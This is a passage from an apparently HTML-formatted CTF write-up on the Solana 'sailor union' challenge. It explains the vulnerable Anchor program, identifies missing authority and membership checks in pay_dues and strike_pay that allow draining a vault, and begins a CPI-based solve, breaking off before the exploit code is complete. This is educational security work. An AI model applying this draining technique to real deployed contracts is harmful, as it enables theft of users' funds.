    writeln!(socket, &quot;sailor union: {}&quot;, sailor_union)?;
    writeln!(socket, &quot;rich boi: {}&quot;, rich_boi.pubkey())?;
    writeln!(socket, &quot;system program: {}&quot;, system_program::id())?;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Next, some accounts is created for challenge and is sent by writeln! for user.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Keypair::new() generate randomly public key.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://docs.rs/solana-sdk/latest/solana_sdk/signer/keypair/struct.Keypair.html#method.new&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.rs/solana-sdk/latest/solana_sdk/signer/keypair/struct.Keypair.html#method.new&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Pubkey::find_program_address() is very important concept in Solana.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://docs.rs/solana-program/latest/solana_program/pubkey/struct.Pubkey.html#method.find_program_address&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.rs/solana-program/latest/solana_program/pubkey/struct.Pubkey.html#method.find_program_address&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676298482259&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    // add accounts and lamports
    const TARGET_AMT: u64 = 100_000_000;
    const INIT_BAL: u64 = 1337;
    const TOTAL_BAL: u64 = 1_000_000_000;
    const VAULT_BAL: u64 = 500_000_000;

    builder
        .builder
        .add_account_with_lamports(vault, system_program::id(), INIT_BAL)
        .add_account_with_lamports(rich_boi.pubkey(), system_program::id(), TOTAL_BAL)
        .add_account_with_lamports(user.pubkey(), system_program::id(), INIT_BAL);

    let mut challenge = builder.build();&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lamport is similar to Ethereum's wei. 1 lamport = &lt;span style=&quot;background-color: #ffffff; color: #212529;&quot;&gt;0.000000001 SOL and they are consumed like gas.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529;&quot;&gt;So challenge initiallzes that&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529;&quot;&gt; vault := 1337, &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529;&quot;&gt;rich_boi := 1_000_000_000, &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529;&quot;&gt;user := 1337&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;then, enviornment setting and initialization ends.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676298875573&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    let mut create_instruction = vec![190, 65, 164, 249, 61, 177, 154, 181];
    create_instruction.extend(CreateUnion { bal: VAULT_BAL }.try_to_vec()?);

    challenge.env.execute_as_transaction(
        &amp;amp;[Instruction::new_with_bytes(
            prog.pubkey(),
            &amp;amp;create_instruction,
            vec![
                AccountMeta::new(sailor_union, false),
                AccountMeta::new(rich_boi.pubkey(), true),
                AccountMeta::new(vault, false),
                AccountMeta::new_readonly(system_program::id(), false),
            ],
        )],
        &amp;amp;[&amp;amp;rich_boi],
    );&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;What is create_instruction?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It is similiar to function signature in Solidity.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://solana.stackexchange.com/questions/3135/how-do-you-find-a-matching-idl-instruction-using-the-anchor-instruction-discrimi&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://solana.stackexchange.com/questions/3135/how-do-you-find-a-matching-idl-instruction-using-the-anchor-instruction-discrimi&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://solana.stackexchange.com/questions/5716/anchor-how-to-know-instruction-number-without-having-to-run-cargo-expand&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://solana.stackexchange.com/questions/5716/anchor-how-to-know-instruction-number-without-having-to-run-cargo-expand&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;sha256({namespace:method name)[:8].&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The instruction is made of [function signature] + [args].&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So Anchor handle program process by signature.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In one word, it just call create_union() in lib.rs.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676299288365&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    // run solve
    challenge.input_instruction(solve_pubkey, &amp;amp;[&amp;amp;user])?;

    // check solve
    let balance = challenge
        .env
        .get_account(user.pubkey())
        .ok_or(&quot;could not find user&quot;)?
        .lamports;
    writeln!(socket, &quot;lamports: {:?}&quot;, balance)?;

    if balance &amp;gt; TARGET_AMT {
        let flag = fs::read_to_string(&quot;flag.txt&quot;)?;
        writeln!(
            socket,
            &quot;You successfully exploited the working class and stole their union dues! Congratulations!\nFlag: {}&quot;,
            flag.trim()
        )?;
    } else {
        writeln!(socket, &quot;That's not enough to get the flag!&quot;)?;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Finally, it receive user inputs by input_instruction() and execute them.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://github.com/otter-sec/sol-ctf-framework/blob/main/src/lib.rs#L109&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/otter-sec/sol-ctf-framework/blob/main/src/lib.rs#L109&lt;/a&gt;(to understand solve.py)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;And if user's balance &amp;gt; TARGET_AMT, we could get flag!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;lib.rs&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In order to solve this chall, we would use functions in lib.rs&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676303313910&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;fn transfer&amp;lt;'a&amp;gt;(
    from: &amp;amp;AccountInfo&amp;lt;'a&amp;gt;,
    to: &amp;amp;AccountInfo&amp;lt;'a&amp;gt;,
    amt: u64,
    signers: &amp;amp;[&amp;amp;[&amp;amp;[u8]]],
) -&amp;gt; Result&amp;lt;()&amp;gt; {
    if from.lamports() &amp;gt;= amt {
        invoke_signed(
            &amp;amp;system_instruction::transfer(from.key, to.key, amt),
            &amp;amp;[from.clone(), to.clone()],
            signers,
        )?;
    }
    Ok(())
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It implements transfer(from, to, amount).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676303417825&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[program]
mod sailor {
    use super::*;    
    pub fn create_union(ctx: Context&amp;lt;CreateUnion&amp;gt;, bal: u64) -&amp;gt; Result&amp;lt;()&amp;gt; {
        msg!(&quot;creating union {}&quot;, bal);

        if ctx.accounts.authority.lamports() &amp;gt;= bal {
            transfer(&amp;amp;ctx.accounts.authority, &amp;amp;ctx.accounts.vault, bal, &amp;amp;[])?;
            // initial balance isn't available because I said so
            ctx.accounts.sailor_union.available_funds = 0;
            ctx.accounts.sailor_union.authority = ctx.accounts.authority.key();
            Ok(())
        } else {
            msg!(
                &quot;insufficient funds, have {} but need {}&quot;,
                ctx.accounts.authority.lamports(),
                bal
            );
            Err(ProgramError::InsufficientFunds.into())
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676303497076&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[derive(Accounts)]
pub struct CreateUnion&amp;lt;'info&amp;gt; {
    #[account(
        init,
        payer = authority,
        space = 8 + std::mem::size_of::&amp;lt;SailorUnion&amp;gt;(),
        seeds = [b&quot;union&quot;, authority.key.as_ref()],
        bump
    )]
    sailor_union: Account&amp;lt;'info, SailorUnion&amp;gt;,
    #[account(mut)]
    authority: Signer&amp;lt;'info&amp;gt;,
    #[account(mut, seeds = [b&quot;vault&quot;], bump)]
    vault: SystemAccount&amp;lt;'info&amp;gt;,
    system_program: Program&amp;lt;'info, System&amp;gt;,
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1676303561130&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[account]
pub struct SailorUnion {
    available_funds: u64,
    authority: Pubkey,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;create_union() register for sailor_union's information that what authority, vault and system_program.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In this process, authority pay some lamports to vault but available_funds is set by zero.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676303429310&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pub fn pay_dues(ctx: Context&amp;lt;PayDues&amp;gt;, amt: u64) -&amp;gt; Result&amp;lt;()&amp;gt; {
        msg!(&quot;paying dues {}&quot;, amt);

        if ctx.accounts.member.lamports() &amp;gt;= amt {
            ctx.accounts.sailor_union.available_funds += amt;
            transfer(&amp;amp;ctx.accounts.authority, &amp;amp;ctx.accounts.vault, amt, &amp;amp;[])?;
            Ok(())
        } else {
            msg!(
                &quot;insufficient funds, have {} but need {}&quot;,
                ctx.accounts.member.lamports(),
                amt
            );
            Err(ProgramError::InsufficientFunds.into())
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676303531654&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[derive(Accounts)]
pub struct PayDues&amp;lt;'info&amp;gt; {
    #[account(mut)]
    sailor_union: Account&amp;lt;'info, SailorUnion&amp;gt;,
    member: SystemAccount&amp;lt;'info&amp;gt;,
    #[account(mut)]
    authority: Signer&amp;lt;'info&amp;gt;,
    #[account(mut, seeds = [b&quot;vault&quot;], bump)]
    vault: SystemAccount&amp;lt;'info&amp;gt;,
    system_program: Program&amp;lt;'info, System&amp;gt;,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pay_dues() make authority pay some lamports to vault.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676303449403&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pub fn strike_pay(ctx: Context&amp;lt;StrikePay&amp;gt;, amt: u64) -&amp;gt; Result&amp;lt;()&amp;gt; {
        msg!(&quot;strike pay {}&quot;, amt);

        let (_, vault_bump) = Pubkey::find_program_address(&amp;amp;[b&quot;vault&quot;], &amp;amp;ID);

        if ctx.accounts.sailor_union.available_funds &amp;gt;= amt {
            ctx.accounts.sailor_union.available_funds -= amt;
            transfer(
                &amp;amp;ctx.accounts.vault,
                &amp;amp;ctx.accounts.member,
                amt,
                &amp;amp;[&amp;amp;[b&quot;vault&quot;, &amp;amp;[vault_bump]]],
            )?;
            Ok(())
        } else {
            msg!(
                &quot;insufficient funds, have {} but need {}&quot;,
                ctx.accounts.sailor_union.available_funds,
                amt
            );
            Err(ProgramError::InsufficientFunds.into())
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676303544172&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[derive(Accounts)]
pub struct StrikePay&amp;lt;'info&amp;gt; {
    #[account(mut)]
    sailor_union: Account&amp;lt;'info, SailorUnion&amp;gt;,
    #[account(mut)]
    member: SystemAccount&amp;lt;'info&amp;gt;,
    authority: Signer&amp;lt;'info&amp;gt;,
    #[account(mut, seeds = [b&quot;vault&quot;], bump)]
    vault: SystemAccount&amp;lt;'info&amp;gt;,
    system_program: Program&amp;lt;'info, System&amp;gt;,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Until now anyone pay some lamprots to vault.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;At this time, strike_pay() make vault transfer some amount to member.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Do you wonder difference between member and authority &lt;span&gt;in Account Struct&lt;span&gt;?&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;At create_union(), it fixed who authority is.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;For union's logic, I think the only account(public key) that has authority could call pay_dues() and strike_pay(). &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;In pay_dues()&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1676358833011&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        if ctx.accounts.member.lamports() &amp;gt;= amt {
            ctx.accounts.sailor_union.available_funds += amt;
            transfer(&amp;amp;ctx.accounts.authority, &amp;amp;ctx.accounts.vault, amt, &amp;amp;[])?;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;First of all, they check the balance of member but they withdraw some lamports from authority.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To do this, it needs assumption member == authority but they do not check it.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Although before invoke_signed() transfer() function checks &lt;span style=&quot;background-color: #f6e199;&quot;&gt;balance of from &amp;gt; amt,&lt;/span&gt; transfer() do &lt;b&gt;not&lt;/b&gt; generate any &lt;b&gt;error&lt;/b&gt; so sailor_union.available_funds still increase.&lt;/p&gt;
&lt;pre id=&quot;code_1676360887114&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    if from.lamports() &amp;gt;= amt {
        invoke_signed(
            &amp;amp;system_instruction::transfer(from.key, to.key, amt),
            &amp;amp;[from.clone(), to.clone()],
            signers,
        )?;
    }
    Ok(())&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In strike_pay()&lt;/p&gt;
&lt;pre id=&quot;code_1676359230370&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        if ctx.accounts.sailor_union.available_funds &amp;gt;= amt {
            ctx.accounts.sailor_union.available_funds -= amt;
            transfer(
                &amp;amp;ctx.accounts.vault,
                &amp;amp;ctx.accounts.member,
                amt,
                &amp;amp;[&amp;amp;[b&quot;vault&quot;, &amp;amp;[vault_bump]]],
            )?;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;They do no check member is union's member.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So anyone that do not enroll union could call strike_pay().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To fix this, we would add if sailor_unior.authority == member to that.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In short, attacker increase sailor_union.available_funds by pay_dues() and withdraw 1_000_000 lamports from vault by strike_pay().&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Although anyone can easily find vulnerability, writing the exploit code was more challenging.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Let me first explain my wrong approach.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In IdekCTF and DiceCTF, there are solana challenges.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;They are solved by using Anchor. &lt;a href=&quot;https://www.anchor-lang.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.anchor-lang.com/&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I thought that I could solve this chall with Anchor as well.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;So I wrote following code. &lt;a href=&quot;https://gist.github.com/kangsangsoo/d30f154cba6b471e510b6fda556a983e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/d30f154cba6b471e510b6fda556a983e&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I ran solve.py and got error:&amp;nbsp;&quot;The&amp;nbsp;declared&amp;nbsp;program&amp;nbsp;id&amp;nbsp;does&amp;nbsp;not&amp;nbsp;match&amp;nbsp;the&amp;nbsp;actual&amp;nbsp;program&amp;nbsp;id.&quot;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #781b33;&quot;&gt;Aplet123&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #456771;&quot;&gt;Triacontakai&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;explaind to me why my approach is incorrect.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;this chall used &lt;a href=&quot;https://github.com/otter-sec/sol-ctf-framework/tree/main&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/otter-sec/sol-ctf-framework/tree/main&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;other chall used &lt;a href=&quot;https://github.com/otter-sec/sol-ctf-framework/tree/rewrite-v2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/otter-sec/sol-ctf-framework/tree/rewrite-v2&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;this chall generate program key by &lt;a href=&quot;https://github.com/otter-sec/sol-ctf-framework/blob/main/src/lib.rs#L84&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/otter-sec/sol-ctf-framework/blob/main/src/lib.rs#L84&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;other chall generate program key by &lt;a href=&quot;https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L80&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L80&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Therefore, it is impossible that my solve.so's program ID is equal to program key that this chall generates.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;the 8 byte instruction thing is only an &lt;b&gt;anchor&lt;/b&gt; thing that it uses to determine which instruction handler to route it to&lt;br /&gt;but &lt;b&gt;normal&lt;/b&gt; solana programs always send the instruction data to &lt;b&gt;process_instruction&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In normal case, check &lt;a href=&quot;https://docs.rs/solana-program/latest/solana_program/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.rs/solana-program/latest/solana_program/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676442674612&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[cfg(not(feature = &quot;no-entrypoint&quot;))]
pub mod entrypoint {
    use solana_program::{
        account_info::AccountInfo,
        entrypoint,
        entrypoint::ProgramResult,
        pubkey::Pubkey,
    };

    entrypoint!(process_instruction);

    pub fn process_instruction(
        program_id: &amp;amp;Pubkey,
        accounts: &amp;amp;[AccountInfo],
        instruction_data: &amp;amp;[u8],
    ) -&amp;gt; ProgramResult {
        // Decode and dispatch instructions here.
        todo!()
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To call pay_dues(), strike_pay(), we use CPI via Anchor that is convenient.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.anchor-lang.com/docs/cross-program-invocations&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.anchor-lang.com/docs/cross-program-invocations&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;add to cargo.toml&lt;/p&gt;
&lt;pre id=&quot;code_1676442905953&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sailor = {path = &quot;../chall&quot;, features = [&quot;cpi&quot;], version = &quot;0.1.0&quot;}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;First, we create ctx via CpiContext::new()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.rs/anchor-lang/latest/src/anchor_lang/context.rs.html#179-186&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.rs/anchor-lang/latest/src/anchor_lang/context.rs.html#179-186&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Next, just call&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cargo build-bpf&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;copy /targeat/depoly/solve.so&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lib.rs&lt;/p&gt;
&lt;pre id=&quot;code_1676444663520&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#[cfg(not(feature = &quot;no-entrypoint&quot;))]
pub mod entrypoint {
    use solana_program::{
        account_info::AccountInfo,
        entrypoint,
        entrypoint::ProgramResult,
        pubkey::Pubkey,
    };
    use anchor_lang::prelude::*;
